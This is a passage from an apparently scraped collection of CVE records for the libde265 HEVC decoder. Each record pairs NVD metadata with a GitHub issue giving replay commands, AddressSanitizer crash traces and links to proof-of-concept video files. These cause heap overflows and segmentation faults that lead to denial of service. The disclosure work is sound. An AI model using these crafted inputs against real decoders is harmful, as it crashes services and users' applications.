./dec265/dec265 poc8-2
./dec265/dec265 poc8-3
./dec265/dec265 poc8-4
```
### ASAN
```Shell
WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
WARNING: maximum number of reference pictures exceeded
WARNING: CTB outside of image area (concealing stream error...)
=================================================================
==55253==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62f00001ac80 at pc 0x7f7d9b220861 bp 0x7fffdce0f670 sp 0x7fffdce0f660
READ of size 2 at 0x62f00001ac80 thread T0
#0 0x7f7d9b220860 in void put_qpel_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, short*, int, int, int) (/libde265/build/libde265/liblibde265.so+0x14b860)
#1 0x7f7d9b21c05c in put_qpel_0_3_fallback_16(short*, long, unsigned short const*, long, int, int, short*, int) (/libde265/build/libde265/liblibde265.so+0x14705c)
#2 0x7f7d9b24c40d in acceleration_functions::put_hevc_qpel(short*, long, void const*, long, int, int, short*, int, int, int) const (/libde265/build/libde265/liblibde265.so+0x17740d)
#3 0x7f7d9b24cee6 in void mc_luma<unsigned short>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned short const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x177ee6)
#4 0x7f7d9b23e837 in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x169837)
#5 0x7f7d9b24b90f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#6 0x7f7d9b2867e3 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b17e3)
#7 0x7f7d9b288333 in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b3333)
#8 0x7f7d9b289250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#9 0x7f7d9b289091 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4091)
#10 0x7f7d9b280726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#11 0x7f7d9b2899ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#12 0x7f7d9b28b70f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#13 0x7f7d9b1ea6d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#14 0x7f7d9b1eaec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#15 0x7f7d9b1e9c0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#16 0x7f7d9b1e993d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#17 0x7f7d9b1ec43e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#18 0x7f7d9b1ecab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#19 0x7f7d9b1d3e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#20 0x55ae31f1cbc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#21 0x7f7d9ad05c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#22 0x55ae31f1a9b9 in _start (/libde265/build/dec265/dec265+0x49b9)
0x62f00001ac80 is located 112 bytes to the right of 51216-byte region [0x62f00000e400,0x62f00001ac10)
allocated by thread T0 here:
#0 0x7f7d9b6fc790 in posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdf790)
#1 0x7f7d9b2251cb in ALLOC_ALIGNED(unsigned long, unsigned long) (/libde265/build/libde265/liblibde265.so+0x1501cb)
#2 0x7f7d9b22592a in de265_image_get_buffer(void*, de265_image_spec*, de265_image*, void*) (/libde265/build/libde265/liblibde265.so+0x15092a)
#3 0x7f7d9b227d1a in de265_image::alloc_image(int, int, de265_chroma, std::shared_ptr<seq_parameter_set const>, bool, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x152d1a)
#4 0x7f7d9b20c0cc in decoded_picture_buffer::new_image(std::shared_ptr<seq_parameter_set const>, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x1370cc)
#5 0x7f7d9b1ed824 in decoder_context::generate_unavailable_reference_picture(seq_parameter_set const*, int, bool) (/libde265/build/libde265/liblibde265.so+0x118824)
#6 0x7f7d9b1f0332 in decoder_context::process_reference_picture_set(slice_segment_header*) (/libde265/build/libde265/liblibde265.so+0x11b332)
#7 0x7f7d9b1f3d70 in decoder_context::process_slice_segment_header(slice_segment_header*, de265_error*, long, nal_header*, void*) (/libde265/build/libde265/liblibde265.so+0x11ed70)
#8 0x7f7d9b1e9246 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x114246)
#9 0x7f7d9b1ec43e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#10 0x7f7d9b1ecab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#11 0x7f7d9b1d3e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#12 0x55ae31f1cbc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#13 0x7f7d9ad05c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x14b860) in void put_qpel_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, short*, int, int, int)
Shadow bytes around the buggy address:
0x0c5e7fffb540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5e7fffb550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5e7fffb560: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5e7fffb570: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5e7fffb580: 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c5e7fffb590:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fffb5a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fffb5b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fffb5c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fffb5d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fffb5e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==55253==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc8-1
https://github.com/FDU-Sec/poc/blob/main/libde265/poc8-2
https://github.com/FDU-Sec/poc/blob/main/libde265/poc8-3
https://github.com/FDU-Sec/poc/blob/main/libde265/poc8-4
### Environment
```shell
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
Heap-buffer-overflow in fallback-motion.cc: in void put_qpel_fallback<unsigned short>
|
https://api.github.com/repos/strukturag/libde265/issues/342/comments
| 2 |
2022-10-10T14:58:45Z
|
2023-01-24T16:05:26Z
|
https://github.com/strukturag/libde265/issues/342
| 1,403,314,932 | 342 |
CVE-2022-43245
|
2022-11-02T14:15:14.123
|
Libde265 v1.0.8 was discovered to contain a segmentation violation via apply_sao_internal<unsigned short> in sao.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/352"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/352
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
SEGV /libde265/libde265/sao.cc:231 in void apply_sao_internal<unsigned short>(de265_image*, int, int, slice_segment_header const*, int, int, int, unsigned short const*, int, unsigned short*, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc18
```
### ASAN
```Shell
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: slice header invalid
WARNING: slice header invalid
WARNING: slice header invalid
ASAN:DEADLYSIGNAL
=================================================================
==24487==ERROR: AddressSanitizer: SEGV on unknown address 0x61106a5b8d93 (pc 0x55dd23192a5c bp 0x0c2c0000008e sp 0x7fff32e6f1c0 T0)
==24487==The signal is caused by a READ memory access.
#0 0x55dd23192a5b in void apply_sao_internal<unsigned short>(de265_image*, int, int, slice_segment_header const*, int, int, int, unsigned short const*, int, unsigned short*, int) /libde265/libde265/sao.cc:231
#1 0x55dd2318b477 in void apply_sao<unsigned char>(de265_image*, int, int, slice_segment_header const*, int, int, int, unsigned char const*, int, unsigned char*, int) /libde265/libde265/sao.cc:270
#2 0x55dd2318b477 in apply_sample_adaptive_offset_sequential(de265_image*) /libde265/libde265/sao.cc:362
#3 0x55dd230bd468 in decoder_context::run_postprocessing_filters_sequential(de265_image*) /libde265/libde265/decctx.cc:1898
#4 0x55dd230bd468 in decoder_context::decode_some(bool*) /libde265/libde265/decctx.cc:778
#5 0x55dd230ce78b in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) /libde265/libde265/decctx.cc:697
#6 0x55dd230d0729 in decoder_context::decode_NAL(NAL_unit*) /libde265/libde265/decctx.cc:1239
#7 0x55dd230d15a9 in decoder_context::decode(int*) /libde265/libde265/decctx.cc:1327
#8 0x55dd23088be5 in main /libde265/dec265/dec265.cc:764
#9 0x7fed8173ac86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#10 0x55dd2308b0f9 in _start (/libde265/dec265/dec265+0x1b0f9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /libde265/libde265/sao.cc:231 in void apply_sao_internal<unsigned short>(de265_image*, int, int, slice_segment_header const*, int, int, int, unsigned short const*, int, unsigned short*, int)
==24487==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc18
### Environment
```shell
Ubuntu 18.04.5 LTS
Clang 10.0.1
gcc 7.5.0
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
SEGV sao.cc: in void apply_sao_internal<unsigned short>
|
https://api.github.com/repos/strukturag/libde265/issues/352/comments
| 2 |
2022-10-10T15:37:10Z
|
2023-01-24T16:03:22Z
|
https://github.com/strukturag/libde265/issues/352
| 1,403,369,863 | 352 |
CVE-2022-43248
|
2022-11-02T14:15:14.393
|
Libde265 v1.0.8 was discovered to contain a heap-buffer-overflow vulnerability via put_weighted_pred_avg_16_fallback in fallback-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/349"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/349
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x146253) in put_weighted_pred_avg_16_fallback(unsigned short*, long, short const*, short const*, long, int, int, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc15
```
### ASAN
```Shell
WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
WARNING: non-existing PPS referenced
WARNING: CTB outside of image area (concealing stream error...)
=================================================================
==30172==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62b000006640 at pc 0x7fb8cba21254 bp 0x7ffcffdbd540 sp 0x7ffcffdbd530
WRITE of size 2 at 0x62b000006640 thread T0
#0 0x7fb8cba21253 in put_weighted_pred_avg_16_fallback(unsigned short*, long, short const*, short const*, long, int, int, int) (/libde265/build/libde265/liblibde265.so+0x146253)
#1 0x7fb8cba51c1a in acceleration_functions::put_weighted_pred_avg(void*, long, short const*, short const*, long, int, int, int) const (/libde265/build/libde265/liblibde265.so+0x176c1a)
#2 0x7fb8cba45bb9 in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x16abb9)
#3 0x7fb8cba5190f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#4 0x7fb8cba8c7e3 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b17e3)
#5 0x7fb8cba8e39a in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b339a)
#6 0x7fb8cba8f250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#7 0x7fb8cba86726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#8 0x7fb8cba8f9ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#9 0x7fb8cba9170f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#10 0x7fb8cb9f06d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#11 0x7fb8cb9f0ec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#12 0x7fb8cb9efc0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#13 0x7fb8cb9ef93d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#14 0x7fb8cb9f243e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#15 0x7fb8cb9f2ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#16 0x7fb8cb9d9e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#17 0x55b3545cdbc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#18 0x7fb8cb50bc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#19 0x55b3545cb9b9 in _start (/libde265/build/dec265/dec265+0x49b9)
0x62b000006640 is located 48 bytes to the right of 25616-byte region [0x62b000000200,0x62b000006610)
allocated by thread T0 here:
#0 0x7fb8cbf02790 in posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdf790)
#1 0x7fb8cba2b1cb in ALLOC_ALIGNED(unsigned long, unsigned long) (/libde265/build/libde265/liblibde265.so+0x1501cb)
#2 0x7fb8cba2b92a in de265_image_get_buffer(void*, de265_image_spec*, de265_image*, void*) (/libde265/build/libde265/liblibde265.so+0x15092a)
#3 0x7fb8cba2dd1a in de265_image::alloc_image(int, int, de265_chroma, std::shared_ptr<seq_parameter_set const>, bool, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x152d1a)
#4 0x7fb8cba120cc in decoded_picture_buffer::new_image(std::shared_ptr<seq_parameter_set const>, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x1370cc)
#5 0x7fb8cb9f93ff in decoder_context::process_slice_segment_header(slice_segment_header*, de265_error*, long, nal_header*, void*) (/libde265/build/libde265/liblibde265.so+0x11e3ff)
#6 0x7fb8cb9ef246 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x114246)
#7 0x7fb8cb9f243e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#8 0x7fb8cb9f2ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#9 0x7fb8cb9d9e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#10 0x55b3545cdbc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#11 0x7fb8cb50bc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x146253) in put_weighted_pred_avg_16_fallback(unsigned short*, long, short const*, short const*, long, int, int, int)
Shadow bytes around the buggy address:
0x0c567fff8c70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fff8c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fff8c90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fff8ca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fff8cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c567fff8cc0: 00 00 fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa
0x0c567fff8cd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8ce0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8cf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==30172==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc15
### Environment
```shell
Ubuntu 18.04.5 LTS
Clang 10.0.1
gcc 7.5.0
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
Heap-buffer-overflow in fallback-motion.cc: put_weighted_pred_avg_16_fallback
|
https://api.github.com/repos/strukturag/libde265/issues/349/comments
| 2 |
2022-10-10T15:25:07Z
|
2023-01-24T16:03:47Z
|
https://github.com/strukturag/libde265/issues/349
| 1,403,353,624 | 349 |
CVE-2022-43249
|
2022-11-02T14:15:14.653
|
Libde265 v1.0.8 was discovered to contain a heap-buffer-overflow vulnerability via put_epel_hv_fallback<unsigned short> in fallback-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/345"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/345
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x148fda) in void put_epel_hv_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, int, int, short*, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc11-1
./dec265/dec265 poc11-2
```
### ASAN
```Shell
WARNING: pps header invalid
WARNING: CTB outside of image area (concealing stream error...)
WARNING: CTB outside of image area (concealing stream error...)
=================================================================
==61372==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62b00002951c at pc 0x7f3e99904fdb bp 0x7ffe34d063b0 sp 0x7ffe34d063a0
READ of size 2 at 0x62b00002951c thread T0
#0 0x7f3e99904fda in void put_epel_hv_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, int, int, short*, int) (/libde265/build/libde265/liblibde265.so+0x148fda)
#1 0x7f3e999332ca in acceleration_functions::put_hevc_epel_hv(short*, long, void const*, long, int, int, int, int, short*, int) const (/libde265/build/libde265/liblibde265.so+0x1772ca)
